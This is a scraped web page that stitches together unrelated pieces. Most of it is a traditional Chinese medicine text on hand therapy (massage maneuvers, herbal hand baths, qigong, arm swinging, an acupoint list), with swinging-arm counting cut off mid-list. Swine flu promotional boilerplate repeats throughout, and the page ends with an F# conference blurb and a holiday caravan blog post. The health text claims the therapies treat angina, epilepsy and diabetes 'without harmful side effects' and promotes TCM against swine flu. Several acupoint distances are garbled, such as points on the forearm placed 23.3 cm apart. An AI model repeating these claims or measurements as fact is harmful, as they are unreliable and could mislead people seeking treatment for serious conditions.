    TCM center will provide latest Special Report Globally on the A/H1N1 flu; and you still can find the Symptoms and Prevention about A/H1N1 flu ; further more, TCM prevention for swine flu provides latest global news; Chinese medicine prevention for A/H1N1 flu ; Chinese herbal medicine and so on.Although there are many therapeutic methods used for hand therapy, only the most common are discussed in this chapter. They include massage, acupuncture, hand bath, qigong and several miscellaneous methods including holding herbs, pressing and kneading the border of second metacarpal bone, arm swinging and other exercises.

    I. Hand Therapy Massage
    In hand therapy massage, stimulation is applied by hand to the regular and extra acupoints or reflective points and reflective areas closely related to various internal organs and tissues in the body. Particular maneuvers are employed to adjust their function, treat diseases, improve life quality, and maintain health. The basic maneuvers of massage include pressing, digitpressing, kneading, pushing, pinching, twisting, rotating, pulling, rubbing, and grinding methods.

    1. Pressing maneuver:
    A vertical pressure is applied by the tip or pad of thumb at the acupoints, reflective areas, and reflective points (Fig. 18).
    Indications: The pressing maneuver is usually applied at the acupoints on a flat area (such as thenar and hypothenar prominence) combined with a kneading maneuver to prevent and treat various chronic diseases and pains and maintain health.
    Principle of manipulation: The thumb should be firmly applied on the skin to produce a steady and persistent pressure in a small area. The pressure should be gradually increased in intensity, and not suddenly applied with a violent action. The frequency and intensity of pressure should be even.

    2. Digit-pressing maneuver:
    A pressure is applied at the acupoints of the hand by the tip of thumb or middle finger; or by the lateral border of tip of little finger supported by thumb and ring finger; or by the knuckle of proximal interphalangeal joint of index finger (Fig. ! 9).
    Indications: The digit-pressing maneuver is usually applied with a heavy pressure at acupoints in a fissure between bones, or in a limited area to treat acute or painful diseases.
    Principle of manipulation: Compared with the pressing maneuver, this maneuver can produce a stronger stimulation in a smaller area. The pressure should be applied at an accurate location without any sliding movement. The intensity of pressure may vary over a wide range.

    3. Kneading maneuver:
    The pad of thumb or middle finger is placed at the acupoint of the hand to receive treatment, and the forearm is actively swung to and fro with the elbow as a fulcrum and the wrist, palm, and finger as a transmitter to produce a gentle rotating and kneading movement to the acupoint with the pad of finger ( Fig. 20).
    Indications: The kneading maneuver is usually applied at acupoints situated superficially over a broad area to produce an adjusting and toning effect for treatment of chronic, deficient, and wasting diseases as well as for maintenance of health and relief of local swelling and pain.
    Principle of manipulation: The pressure applied by the kneading maneuver should be gentle and the movement of finger, hand and arm should be coordinated, rhythmic, and persistent for a longer period of time.

    4. Pushing maneuver:
    The single or multiple finger(s), root of palm, thenar or hypothenar prominence is used to produce an unidirectional linear pushing movement over certain parts of the hand (Fig. 21).
    Indications: The pushing maneuver is usually applied along the longitudinal direction of the hand or over various sides of the fingers, and it may be followed by a rubbing maneuver to maintain health and treat chronic diseases, pain, and soreness due to soft tissue strain or diseases caused by deficiency and cold.
    Principle of manipulation: To apply the pushing maneuver, the pushing force must be steady and strong enough, with the finger or palm placed firm on the skin of the hand. The pushing speed should be slow and even. The direction of the pushing maneuver is along the bones of the hand, and the force of the pushing maneuver may be freely adjusted, but it should be maintained at a fixed depth.

    5. Pinching maneuver:
    The free border or radial corner of the thumb nail or free border of the nails of other fingers is used to apply a vertical, heavy stimulation to the hand acupoints; or the free border of the thumb nail and the free border of the nails of other fingers are used to pinch the acupoint from both sides (Fig. 22).
    Indications: The pinching maneuver is usually applied between metacarpal bones or between metacarpophalangeal joints together with pressing, kneading, and twisting maneuvers (or alternately applied) to treat acute or painful diseases, epilepsy, and neurasthenia.
    Principle of manipulation: This is a maneuver designed to produce a heavy and deep stimulation and response. After the heavy and deep pinching manipulation is held for half a minute, gentle pressing and kneading maneuvers should follow for half a minute to relieve the discomfort produced by the pinching maneuver. This manipulation is repeated a second time. The pinching maneuver may be applied for a shorter duration and with a quicker rhythm. The nail must be steadily applied at the acupoint without any sliding movement to avoid causing injury to the skin.

    6. Twisting maneuver:
    The pads of thumb and index finger are used to hold and twist the injured finger back and forth to promote blood circulation through collaterals and stop pain (Fig. 23).

    More information from TCM and health: Hand Therapy Massage
              Hand Therapy Using Hand Bath        
    Special Recommend information on A H1N1 (swine flu)
    As it is known to all, currently we human being are all faced with a big enemy-A/H1N1 flu (swine flu) which has been threatening our life. Now the situation is worsening. As health and medical to AH1N1organ, we shoulder more responsibility to handle outbreak of this emergency.

    In TCM, A/H1N1 belongs to epidemic febrile disease of TCM which is the same as human avian influenza and SARS and similar to A/H1N1 flu syndrome differentiation and treatment of TCM prevention and cure. It is advocated “dispelling wind, reducing fever and dissipating dampness in clinical.

    TCM center will provide latest Special Report Globally on the A/H1N1 flu; and you still can find the Symptoms and Prevention about A/H1N1 flu ; further more, TCM prevention for swine flu provides latest global news; Chinese medicine prevention for A/H1N1 flu ; Chinese herbal medicine and so on.


    Hand bath is a steaming and washing therapy. The hot steam from an herbal decoction is used to heat the hands which are then soaked in the warm decoction after it gradually cools down. Diseases can be cured by the hot stimulation applied to the meridians and acupoints of the hand and by the gradual absorption of herbs through the skin.

    1. Origin and classification of steaming and washing therapy:

    Steaming and washing therapy originated in ancient times. Among 52 ancient herbal therapy recipes unearthed from the Han Dynasty Mawangdui Tomb, eight were used for steaming and washing therapy. This indicates that steaming and washing therapy has been used by Chinese people to treat diseases for at least 2,000 years. This therapy is also mentioned in classical medical books of the Han (206 B. C.-220) and Jin (265-420) dynasties. During the Tang Dynasty (618-907), this method was used to treat carbuncles, cellulitis, skin rashes, dermatitis, frostbite, hand and foot diseases, and gynecological and eye disorders. In the Kin (1115-1234) and Yuan (1271-1368) dynasties this method was classified as an essential medical therapy. In the Qing Dynasty ( 1644-1911 ), Wu Shangxian, a famous physician of traditional Chinese medicine, divided this therapy into smoking, steaming, shower, sitz bath, and hot ironing. It is a folk treatment used by common people to treat acute sprains, bone injuries, and contusions with a good therapeutic results.
    Steaming and washing therapy can be classified as general and local. Local treatment includes steaming and washing therapy for the hand, foot, and eye, and sitz baths. Hand bath is steaming and washing therapy for the hand.

    2. Function and characteristics of hand bath:

    As demonstrated by the experiments of modern medicine. steaming and washing therapy with hot and moist air can promote the absorption of herbs through the skin, dilate the skin's small blood vessels, promote the circulation of blood and lymph, enhance the phagocytic functions of the reticuloendothelial system, increase the permeability of cellular membranes, and promote metabolism by stimulating the sensitive sensory nerves scattered along the skin. The effective components of herbs used in steaming and washing therapy can directly kill the pathogenic germs on the skin. According to the theory of traditional medicine, the meridians of the hand are closely related to the organs and meridians of the entire body. Therefore, this therapy can clear stagnation in meridians, adjust bodily deficiency and excess, and promote circulation of qi and blood.
    The hand bath is simple, cheap, and easy to learn and practice, with numerous indications and good therapeutic effects, and without any harmful side effects. It is most useful for patients proscribed from taking drugs.

    3. Methods of manipulation:

    1) The proper recipe is selected according to the diseases and the basin, towel and sheets are prepared in use.
    2) The hot decoction of herbs is poured into the basin and the hands and arms are put over the basin. Cover the arms and basin with a sheet to reserve the hot air from quickly escaping away. Some boiled water may be added to the basin to maintain the temperature. After the decoction is cooled down to an adequate temperature, the hands may be soaked and washed in the decoction.
    3) After steaming and bathing, the hands should be dried with a towel and protected from attack of wind and coldness.
    4) The steaming and washing therapy may last for 20-30 minutes, twice a day.

    4. Precautions:

    I) The water used to boil the herbs should be adequate to prepare a decoction of the proper concentration. Aromatic and volatile herbs should be boiled for only 10-15 minutes; and roots, stems and herbs in large clumps should be boiled for 30
    minutes.
    2) The temperature of the decoction for bathing and soaking the hands should be monitored to avoid burning the skin.
    3) These decoctions are not for oral administration.

    More information from TCM and health: Hand Therapy Using Hand Bath
              Hand Therapy Using Hand Qigong        
    Special Recommend information on A H1N1 (swine flu)
    As it is known to all, currently we human being are all faced with a big enemy-A/H1N1 flu (swine flu) which has been threatening our life. Now the situation is worsening. As health and medical to AH1N1organ, we shoulder more responsibility to handle outbreak of this emergency.

    In TCM, A/H1N1 belongs to epidemic febrile disease of TCM which is the same as human avian influenza and SARS and similar to A/H1N1 flu syndrome differentiation and treatment of TCM prevention and cure. It is advocated “dispelling wind, reducing fever and dissipating dampness in clinical.

    TCM center will provide latest Special Report Globally on the A/H1N1 flu; and you still can find the Symptoms and Prevention about A/H1N1 flu ; further more, TCM prevention for swine flu provides latest global news; Chinese medicine prevention for A/H1N1 flu ; Chinese herbal medicine and so on.
    Hand qigong is employed as physical exercises of the hand or the entire body induced by the hand, and is usually accompanied by breathing and mental exercises for treating diseases.

    1. Origin and classification of hand qigong

    Hand qigong is a branch of medical qigong for treatment of diseases and has a long developing history. There were an introduction and case reports mentioned in the medical literature of the Sui (581-618), Tang, Ming (1368-1644), and Qing dynasties.

    Hand qigong can be divided into two types: The pure physical exercise of the hand for treating diseases of the internal organs, and exercises of the entire body induced by the hand with breathing and mental exercises to adjust meridians, qi, and blood throughout the body.

    2. Function and characteristics of hand qigong

    The hand is closely connected to tissues and organs of the entire body through meridians, and there are many sensitive and effective acupoints, such as Hegu (L1 4), Laogong (PC 8) and Shaoshang (LU 11 ) on the hand. Therefore, the physical exercises of the hand and physical exercises of the body induced by the hand with breathing and mental exercises can adjust qi, breath and mental activity, promote circulation of qi and blood through meridians, adjust deficiency and excess in internal organs, and balance yin and yang throughout the body.

    This exercise is simple, practical, easy to learn, and can be practiced by people of all ages at any time and place. It is effective for treating many diseases, especially chronic diseases, without harmful side effects.

    3. Precautions:

    Before doing qigong exercises the practitioner should get rid of mental distractions, maintain a calm mental state, assume a proper posture, and develop a slow and even breath. Then, various types of special hand exercises or physical exercises of the entire body may begin.
    Practical methods of qigong exercises will be discussed in the treatment of different diseases included in the following chapter.

    More information from TCM and health: Hand Therapy Using Hand Qigong
              Hand Therapy Using Miscellaneous Methods        
    Special Recommend information on A H1N1 (swine flu)
    As it is known to all, currently we human being are all faced with a big enemy-A/H1N1 flu (swine flu) which has been threatening our life. Now the situation is worsening. As health and medical organ, we shoulder more responsibility to handle outbreak of this emergency.

    In TCM, A/H1N1 belongs to epidemic febrile disease of TCM which is the same as human avian influenza and SARS and similar to A/H1N1 flu syndrome differentiation and treatment of TCM prevention and cure. It is advocated “dispelling wind, reducing fever and dissipating dampness in clinical.

    TCM center will provide latest Special Report Globally on the A/H1N1 flu; and you still can find the Symptoms and Prevention about A/H1N1 flu ; further more, TCM prevention for swine flu provides latest global news; Chinese medicine prevention for A/H1N1 flu ; Chinese herbal medicine and so on.

    Besides massage, acupuncture, hand bath, and hand qigong, there are some other therapies applied to or near the hand including holding herbs, pressing and kneading maneuvers applied along the second metacarpal bone, swinging arms, and playing bracelet or ball with the hand.
    1. Holding herb therapy
    As an external treatment herbs, properly selected according to the nature of the disease, are held in the hand as a treatment for various ailments.
    This is an ancient therapy. Herbs that induce sweating and promote digestion are best absorbed through the skin of a hot and moist palm to stimulate the meridians and acupoints of the hand.
    Herbs for particular diseases come in a variety of shapes and patterns such as pills or powders, easy to hold in the hand. Fresh raw herbs are also produced for therapeutic use. Before holding the herbs, the hands should be soaked in hot water for a while. The herbs are then held in the hand until a slight sweating is induced. The herbs should be wrapped in gauze and secured to the palm by bandage for babies and young children.
    This method is used to treat common colds, headache, facial palsy, and indigestion in children.
    Corrosive or allergenic herbs should not be used, and it is contraindicated for patients with ulcers or wounds of the palm.
    2. Pressing and kneading therapy beside the second metacarpal bone
    The pressing and kneading maneuvers are applied at the points on the radial side of the second metacarpal bone for treating various diseases.
    The location, indications, and principles for selecting points have been discussed in Acupuncture for Hand Therapy.
    The pressing and kneading maneuvers are chiefly applied in an area around Hegu (LI 4) acupoint. The Hegu acupoint is an important point used to control pain all over the body and is especially effective for stopping pain of the head and face and in the chest, abdomen, and upper and lower limbs.
    The patient is asked to relax the hand muscles and make a hollow fist with the radial side facing upward. The physician holds the patient's fist by one hand and applies pressure with some kneading movement at a frequency of 150 per minute at Hegu acupoint with the thumb of the other hand to produce a sore, distending, heavy, and numb sensation for three minutes.
    The point should be correctly located; the pressure should be vertically applied to a deep layer, and should be gentle to avoid damaging the skin.


    3. Swinging arm exercise
    This exercise was developed and taught by Mr. Tian Ruifang in Shanghai, 1961. It is a physical exercise, simple and easy to learn and practice and effective for treating certain chronic diseases.
    l) Preparation: Before starting the exercise, the practitioner should be rid of all mental distractions, calm the mind, and fully relax every part of the body and remain this way for 3-5 minutes.
    2) Posture:
    (1) The feet are separated to a distance the width of the shoulders to maintain a natural stance, with the head and body kept erect, the knees naturally and slightly flexed, and the arms freely dangling down (Fig. 34).
    (2) The neck is relaxed, the chin is held slightly backward and the vortex of the head, Baihui (GV 20) acupoint (at midpoint between bilateral tips of ear auricle), is intentionally raised upward.
    (3) The pectoralis major muscles are relaxed and the shoulders are slightly drawn forward to draw in the chest and straighten the back and to produce a counteraction against the intentional upward ascent of the vortex of the head. The qi may move
    downward to Dantian when the chest is drawn in; and the qi may diffuse all over the abdomen when the abdomen is relaxed. After the clear qi is moved upward and the dirty qi is moved downward, a result of "deficiency in upper part and excessiveness in lower part of body" can occur.
    (4) The shoulders are relaxed and sagging to draw in the chest and move the qi downward to Dantian. Otherwise, the qi may move upward, if the shoulders are shrugged.
    (5) The thigh, leg, and foot are all relaxed.
    (6) The muscles all over the body are relaxed with a smiling face and a generally comfortable demeanor.
    (7) The tongue should be naturally flat in the mouth. The mouth and teeth should be lightly closed, because the mouth and tongue may become dry if the mouth is opened; and the practitioner cannot relax the body if the mouth is tightly closed and the teeth gnashed.
    3) Method of performance:
    (1) Both naturally extended arms are moved forward with the shoulder joints as a fulcrum, the fingers are naturally and comfortably extended, the palms are slightly concave and facing forward, and the thumbs are slightly flexed and pointing downward. The hands are moved forward and upward, but not beyond the umbilicus (Fig. 35).
    (2) The shoulders are relaxed and the arms swing freely backward to the initial position, but not beyond the buttocks, with the shape of the palms unchanged (Fig. 36). The forward and backward movement of the arms are continuously repeated.
    (3) The arms are moved back and forth by the relaxed shoulders. The shoulders should not be shrugged and the arms always move parallel. The arms are moved forward by a force conducted from the shoulder and then freely swung backward by gravity, as a repeated movement with arms alternately kept tense and relaxed.
    (4) The palms are slightly concave and the fingers are slightly flexed and separated, because the full extension of tight fingers may interfere with meridians and the free circulation of internal qi.
    (5) The arms should be naturally extended throughout the back and forth movement and the elbows should not be flexed to move the forearms alone.
    (6) The feet are flat on the ground. With increased experience, the practitioner may keep a stance with the toes firmly holding the ground.
    (7) The swinging arm exercise should be carried with the body relaxed, quiet, and natural.
    4) Repetitions, speed, and silent counting:
    More information from
    TCM and health
              COMMON ACUPOINTS FOR HAND THERAPY        
    Special Recommend information on A H1N1 (swine flu)
    As it is known to all, currently we human being are all faced with a big enemy-A/H1N1 flu (swine flu) which has been threatening our life. Now the situation is worsening. As health and medical organ, we shoulder more responsibility to handle outbreak of this emergency.

    In TCM, A/H1N1 belongs to epidemic febrile disease of TCM which is the same as human avian influenza and SARS and similar to A/H1N1 flu syndrome differentiation and treatment of TCM prevention and cure. It is advocated “dispelling wind, reducing fever and dissipating dampness in clinical.

    TCM center will provide latest Special Report Globally on the A/H1N1 flu; and you still can find the Symptoms and Prevention about A/H1N1 flu ; further more, TCM prevention for swine flu provides latest global news; Chinese medicine prevention for A/H1N1 flu ; Chinese herbal medicine and so on.

    The acupoints for hand therapy include the regular and extra acupoints on the hand. The acupoints on the forearm are also used in hand therapy because they are exposed and convenient to locate for application of acupuncture (the acupoints marked with an asterisk (*) are located on the hand).

    1. Chize (LU 5, on hand Taiyin lung meridian) Location: With elbow slightly flexed, it is on the cubital crease and on the radial border of tendon of brachial biceps muscle (Fig. 1). Function: To suppress adverse ascent of lung qi, tone lung yin, and moisten the lung. Indications: Cough, asthma, hemoptysis, sore throat, chest distension, acute mastitis, arm and elbow pain, vomiting, and diarrhea. Acupuncture: Vertical insertion of needle for 1.6 cm, or bleeding therapy with three-edged needle; and moxibustion is permissible.

    2. Kongzui (LU 6, on hand Taiyin lung meridian) Location: With arm extended and palm supine, it is on the connecting line between Chize (LU 5) and Taiyuan (LU 9) and 23.3 cm from Taiyuan (Fig. 1). Function: To suppress adverse ascent of lung qi, clear blood heat, and stop bleeding. Indications: Cough, asthma, hemoptysis, sore throat, aphonia, hemorrhoids, and arm and elbow pain. Acupuncture: Vertical insertion of needle for 1.6-3.3 cm; and moxibustion is permissible.

    3. Lieque (LU 7, on hand Taiyin lung meridian) Location: It is proximal to radial styloid process and 5 cm proximal to carpal crease (Fig. 1). Function: To expel pathogen from lungs and adjust Renmai (conceptional vessel). Indications: Cough, asthma, sore throat, hemiplegia, deviation of mouth and eye, migraine, stiff neck, toothache, and hotness in palm. Acupuncture: Oblique insertion of needle toward elbow for 0.7 cm; and moxibustion is permissible.

    4. Jingqu (LU 8, on hand Taiyin lung meridian) Location: With palm supine, it is 3.3 cm proximal to carpal crease and in a depression between radial styloid process and radial artery (Fig. 1). Function: To control cough and asthma and adjust breath. Indications: Cough, asthma, sore throat, pain and distension in chest, and hotness in palm. Acupuncture: Vertical insertion of needle for 1 cm; and moxibustion is permissible.

    5. Taiyuan* (LU 9, on hand Taiyin lung meridian) Location: With palm supine, it is on carpal crease and in a depression on the radial side of radial artery (Fig. 2). Function: To control cough, resolve phlegm, improve body resistance, and expel pathogens. Indications: Cough, asthma, hemoptysis, pain and distension of chest, sore throat, vomiting, abdominal distension, irregular pulse, and hand and wrist pain. Acupuncture: Vertical insertion of needle for l cm; and moxibustion is permissible.

    6. Yuji* (LU 10, on hand Taiyin lung meridian) Location: With palm supine, it is proximal to the first metacarpophalangeal joint, at the midpoint of metacarpal bone and on the dorsopalmar boundary (Fig. 2). Function: To clear heat in lungs, relieve stagnation in throat, and clear heat in blood. Indications: Cough, hemoptysis, sore throat, elbow spasm, and hotness in palm. Acupuncture: Vertical insertion of needle for 1.6-3.3 cm; and moxibustion is permissible.

    7. Shaoshang* (LU 11, on hand Taiyin lung meridian). Location: On the radial side of thumb and 0.3 cm from corner of nail (Fig. 2). Function: To clear heat, open sense organ orifices, restore yang, revive critical patients, relieve stagnation in throat, and control convulsion. Indications: Cough, asthma, sore throat, madness, epilepsy, stroke with coma, febrile diseases, and convulsion in children. Acupuncture: Horizontal insertion of needle toward wrist for 0.6 cm or bleeding therapy with three-edged needle; and moxibustion is permissible.

    8. Shangyang* (LI 1, hand Yangming large intestine meridian) Location: On the radial side of index finger and 0.3 cm from the corner of nail (Fig. 3). Function: To clear heat, resolve swelling, open sense organ orifices, and refresh the mind. Indications: Sore throat, swelling of jaw, toothache, deafness, tinnitus, cough, asthma, stroke with coma, and shoulder pain. Acupuncture: Upward oblique insertion of needle for 0.6 cm or bleeding therapy with three-edged needle; and moxibustion is permissible.

    9. Erjian* (LI 2, on hand Yangming large intestine meridian) Location: With hand slightly clenched, it is on the radial side of second metacarpophalangeal joint and distal to it, and on the dorsopalmar boundary of hand (Fig. 3). Function: To clear heat and resolve swelling. Indications: Sore throat, swelling of jaw, nasal bleeding, toothache, eye pain, deviation of mouth and eye, body heat, and shoulder pain. Acupuncture: Vertical insertion of needle for 0.6 cm; and moxibustion is permissible.

    10. Sanjian* (LI 3, on hand Yangming large intestine meridian) Location: With hand slightly clenched, it is on the radial side of index finger and proximal to second metacarpophalangeal joint and capitulum of second metacarpal bone (Fig. 3). Function: To clear heat, resolve swelling, relieve fullness, and stop diarrhea. Acupuncture: Vertical insertion of needle for 1 cm; and moxibustion is permissible.

    11. Hegu* (LI 4, on hand Yangming large intestine meridian) Location: Between the first and second metacarpal bone and at the midpoint of second metacarpal bone (Fig. 3). Function: To clear heat, treat exterior syndrome, and improve vision and hearing. Indications: Headache, dizziness, toothache, eye pain, sore throat, swelling of face, deviation of mouth and eye, diseases of nose and ear, fever, hemiplegia, finger spasms, arm pain, amenorr hea, late delivery of baby, skin rashes, and diseases ofstomach and intestines. Acupuncture: Vertical insertion of needle for 1.6-3.3 cm; and moxibustion is permissible.

    12. Yangxi* (LI 5, on hand Yangming large intestine meridian) Location: On the radial side of dorsum of wrist and in a depression between tendons of long and short extensor muscles of thumb (Fig. 3). Function: To clear heat, tranquilize the mind, improve vision, and remove stagnation in throat. Indications: Headache, sore throat, red eyes, deafness, tinnitus, toothache, arm and wrist pain, epilepsy, and madness. Acupuncture: Vertical insertion of needle for 1.3 cm; and moxibustion is permissible.

    13. Pianli (LI 6, on hand Yangming large intestine meridian) Location: On the connecting line between Yangxi (LI 5) and Quchi (LI 11) acupoints and 10 cm from Yangxi (Fig. 4). Function: To improve vision and hearing. Indications: Nasal bleeding, red eyes, tinnitus, deafness, deviation of mouth and eye, sore throat, edema and pain in shoulder, arm, elbow, and wrist. Acupuncture: Oblique insertion of needle for 1 cm; and moxibustion is permissible.

    14. Wenliu (LI 7, on hand Yangming large intestine meridian) Location: On the connecting line between Yangxi (El 5) and Quchi (L 11) acupoints and 16.6 cm from Yangxi (Fig. 4). Function: To clear heat, resolve swelling, tranquillize the mind, anti promote transportation in organs. Indications: Headache, facial swelling, nose bleed, sore throat, pain in shoulder and back, epilepsy, and madness. Acupuncture: Vertical insertion of needle for 1.6 cm; and moxibustion is permissible.

    15. Xialian (LI 8, on hand Yangming large intestine meridian) Location: On the connecting line between Yangxi (LI 5) and Quchi (LI 11) acupoints and 1.3 cm from Quchi (Fig. 4). Functi,on: To adjust qi and promote transportation in organs. Indications: Headache, dizziness, abdominal pain, acute mastitis, and pain in elbow and arm. Acupuncture: Vertical insertion of needle for 1.6 cm; and moxibustion is permissible.

    16. Shanglian (LI 9, on hand Yangming large intestine meridian) Location: On the connecting line between Yangxi (LI 5) and Ouchi (LI 11) acupoints and 10 cm from Quchi (Fig. 4). Function: To adjust qi and promote transportation in organs. Indications: Headache, pain in shoulder and arm, abdominal pain, diarrhea, and hemiplegia. Acupuncture: Vertical insertion of needle for 1.6-3.3 cm; and moxibustion is permissible.

    17. Shonsanli (LI 10, on hand Yangming large intestine meridian) Location: On the connecting line between Yangxi (LI 5) and Quchi (LI 11) acupoints and 6.7 cm from Quchi (Fig. 4). Function: To clear heat, improve vision, adjust qi, and promote transportation in organs. Indications: Abdominal distension, diarrhea, eye diseases, toothache, hemiplegia, and hand, arm, and elbow pain. Acupuncture: Vertical insertion of needle for i.6-3.3 cm; and moxibustion is permissible.

    18. Quchi (LI 11, on hand Yangming large intestine meridian) Location: With elbow flexed, it is in a depression on the radial end of cubital crease (Fig. 4). Function: To expel wind pathogen, control itching, clear heat, and resolve swelling. Indications: Febrile diseases, sore throat, toothache, eye pain, skin rashes, skin sores, scabies, diseases of stomach and intestine, epilepsy, madness, disturbance of menstruation, paralysis of upper limb, and shoulder and arm pain. Acupuncture: Vertical insertion of needle for 3.3-5 cm; and moxibustion is permissible.

    19. Shaohai (HT 3, on hand Shaoyin heart meridian) Location: With elbow flexed, it is in a depression on the ulnar end of cubital crease (Fig. 5). Function: To tranquilize the mind. Indications: Heart pain, epilepsy, madness, tuberculosis of cervical lymph nodes, hand tremors and spasms, and pain in armpit. Acupuncture: Vertical insertion of needle for 1.6-3.3 cm; and moxibustion is permissible.

    20. Lingdao (HT 4, on hand Shaoyin heart meridian) Location: With hand supine, it is on the radial border of ulnar flexor muscle of wrist and 5 cm proximal to carpal crease (Fig. 5). Function: To expand chest and adjust qi. Indications: Heart pain and palpitations, dizziness, vertigo, unreasonable crying and laughing, stiff tongue, aphasia, and wrist and arm spasms. Acupuncture: Vertical insertion of needle for 1 cm; and moxibustion is permissible.

    21. Tongli (HT 5, on hand Shaoyin heart meridian) Location: With hand supine, it is on the radial border of ulnar flexor muscle of wrist and 3.3 cm proximal to carpal crease (Fig. 5). Function: To tranquilize the mind, tone yin, and clear heart heat. Indications: Heart palpitations, stiff tongue, aphasia, profuse uterine bleeding, headache, vertigo, and pain on medial and posterior side of shoulder, elbow, and arm. Acupuncture: Vertical insertion of needle for 1 cm; and moxibustion is permissible.

    22. Yinxi (HT 6, on hand Shaoyin heart meridian) Location: With hand supine, it is on the radial border of ulnar flexor muscle of wrist and 1.6 cm proximal to carpal crease (Fig. 5). Function: To tranquilize the mind and clear heat in the blood. Indications: Heart pain and palpitations, night sweating, aphasia, and hematemesis. Acupuncture: Vertical insertion of needle for 1 cm; and moxibustion is permissible.

    23. Shenmen* (HT 7, on hand Shaoyin heart meridian) Location: On the carpal crease and on the radial border of ulnar flexor muscle of wrist (Fig. 6). Function: To improve the body's resistance, expel pathogens, and tranquilize the mind. Indications: Heart pain and palpitations, insomnia, poor memory, unreasonable crying and laughing, epilepsy, madness, headache, vertigo, and hotness in palm. Acupuncture: Vertical insertion of needle for 1 cm; and moxibustion is permissible.
              Hand Therapy Indications, Characteristics, and Precautions        

    Special Recommend information on A H1N1 (swine flu)
    As it is known to all, currently we human being are all faced with a big enemy-A/H1N1 flu (swine flu) which has been threatening our life. Now the situation is worsening. As health and medical organ, we shoulder more responsibility to handle outbreak of this emergency.

    In TCM, A/H1N1 belongs to epidemic febrile disease of TCM which is the same as human avian influenza and SARS and similar to A/H1N1 flu syndrome differentiation and treatment of TCM prevention and cure. It is advocated “dispelling wind, reducing fever and dissipating dampness in clinical.

    TCM center will provide latest Special Report Globally on the A/H1N1 flu; and you still can find the Symptoms and Prevention about A/H1N1 flu ; further more, TCM prevention for swine flu provides latest global news; Chinese medicine prevention for A/H1N1 flu ; Chinese herbal medicine and so on.


    1. Indications: 1) Painful diseases: Neurotic headache, trigeminal neuralgia, toothache, angina pectoris, chest pain, intercostal neuralgia, neuralgia sciatica, and abdominal pain. 2) Chronic diseases: Bronchitis, peptic stomach ulcer, chronic gastroenteritis, diarrhea, diabetes mellitus, rheumatism, soft tissue injury, chronic nephritis, hemiplegia, arthritis, and muscular strain of the waist. 3) Functional diseases: Irregular menstruation, dysmenorrhea, functional disturbance of vegetative nervous system, intestinal paralysis, and stomach spasms. 4) Neurological diseases: Neurasthenia, spasm of facial muscles, facial palsy, and neurotic deafness. 5) Inflammatory diseases: Tonsillitis, pharyngitis, stomatitis, rhinitis, bronchitis, periarthritis of shoulder, cholecystitis, nephritis, and arthritis. 6) Acute diseases: High fever with convulsions, acute angina pectoris, acute attack of epilepsy, acute larygopharyngitis, acute conjunctivitis, and acute gastritis.

    2. Characteristics: 1) Holistic principles in the treatment of disease are followed. This includes treating internal diseases with external therapy and treating general diseases with local therapy. 2) Hand therapy is a simple treatment with numerous indications, including common internal diseases, surgical problems, and gynaecological, pediatric, and ENT disorders. 3) This treatment is cheap, convenient and safe. 4) It can be used to treat diseases as well as improve the health of normal people. 5) It can be done by the patients themselves for early diagnosis and treatment. 6) It can produce good therapeutic results without harmful side effect. 7) The techniques of hand therapy can be widely popularized for broad application.

    3. Precautions: 1) Care must be taken in treating pregnant women at early and later stages of pregnancy. 2) It must be used with care in potential surgical conditions such as acute appendicitis with indication of surgical intervention. 3) Hand therapy is prohibited for patients with necrotic, infectious, or pyogenic skin lesions of the hand.


              F# + ML |> MVP Summit: Talk recordings, slides and source code        

    I was fortunate enough to make it to the Microsoft MVP summit this year. I didn't learn anything secret (and even if I did, I wouldn't tell you!) but one thing I did learn is that there is a lot of interest in data science and machine learning both inside Microsoft and in the MVP community. What was less expected and more exciting was that there was also a lot of interest in F#, which is a perfect fit for both of these topics!

    When I visited Microsoft back in May to talk about Scalable Machine Learning and Data Science with F# at an internal event, I ended up chatting with the organizer about F# and we agreed that it would be nice to do more on F#, which is how we ended up organizing the F# + ML |> MVP Summit 2015 mini-conference on the Friday after the summit.


               Normal service is resumed        
    Hello everyone! 

    It seems like a long time ago since I last posted but it's only been 24 days. In that time I've been to Donegal for two weeks and my cousin from Ireland came to visit me here in Bedford. I have had a wonderful three weeks and it was also good to have a break from blogging! I did miss everyone else's blogs and have tried to catch up since I returned.

    I'm going to dedicate this part of the post to Fiona of 'Made in a Muddle' here. Fiona has a mobile home in France and asked me to do a post about about my mobile home in Ireland - so here goes.

    The site we stay at  is at the top of a hill and has about 180 mobile homes in total. It is split into two separate areas by a road. There is a children's playground; a green play space with trees and tyre swings; a football/tennis/basketball pitch; picnic sites and a hut for wet weather activities, on site. There are also woods to the rear of the site, two nearby lakes and lots of local beaches.  Our mobile home is on the upper slope of the hill and at the end of a row. It is a truly beautiful spot and we are surrounded by mountains.

    We are 17 miles from the town of Donegal; 3.5 miles from Killybegs and about 7 miles from Ardara. There is a garage cum post office cum grocery shop cum deli at the bottom of the hill, about 4 miles away and it's our nearest shop.

    Image may contain: sky, cloud, house, plant, tree, outdoor and nature

    This is 'Ruby Super' hereafter referred to as the 'caravan'. She is a static caravan or mobile home made by Atlas and was originally made in the mid to late 1990s. I bought her in April 2014 after I retired in March. I had the wooden decking/patio and base around the caravan made especially. Ruby Super has three bedrooms but can sleep eight people as the seating area in the living area pulls down into a double bed.


    There is no central heating but I do have a gas fire in the living room and two other electric heaters. However, electric voltage is is limited in a caravan and you learn pretty quickly how many electrical items can be in use at the same time. When the electricity is 'tripped' it's only a short walk to the decking to 'throw' the switch. As it can get very cold, in the evenings especially, I always have a good supply of throws and blankets which are stored in the large basket.




    I like the layout in the caravan  - apart from the sleeping areas and bathroom, everything else is open plan. From the kitchen window and two of the bedroom windows I can see St. John's Point which is one of the longest peninsulas in Ireland.  The peninsula is separated on either side by McSwyne's Bay and Inver Bay; which feed into Donegal Bay and the North Atlantic Ocean. On a clear day, I can also see Ben Bulben mountain  across Donegal Bay in Co. Sligo. If you look very carefully at the picture below, in the distance on the left hand side you can just make out Ben Bulben. There were very few clear days on this trip but when it is clear it's as if I can lean out of the window and touch the sea!



    The kitchen is compact but has lots of storage space. I have no washing machine but there is a laundry on site with two washing machines and two tumble dryers. They are not free; unfortunately...


    This is the bathroom. There is a shower to the left of the photo.


    There is a separate loo



    One double bedroom complete with another wardrobe of clothes, shoes, jewellery and perfume!


    Two twin bedrooms.

    When we've been away from the caravan between September to Easter, the caravan suffers from mildew. We leave plates of salt and humidifiers (non electrical) bought at hard ware shops to help with the mildew. This year we've left the blinds up and curtains open to maximise any sunshine and warmth; until I return in July. The caravan heats up really quickly when it's sunny. 

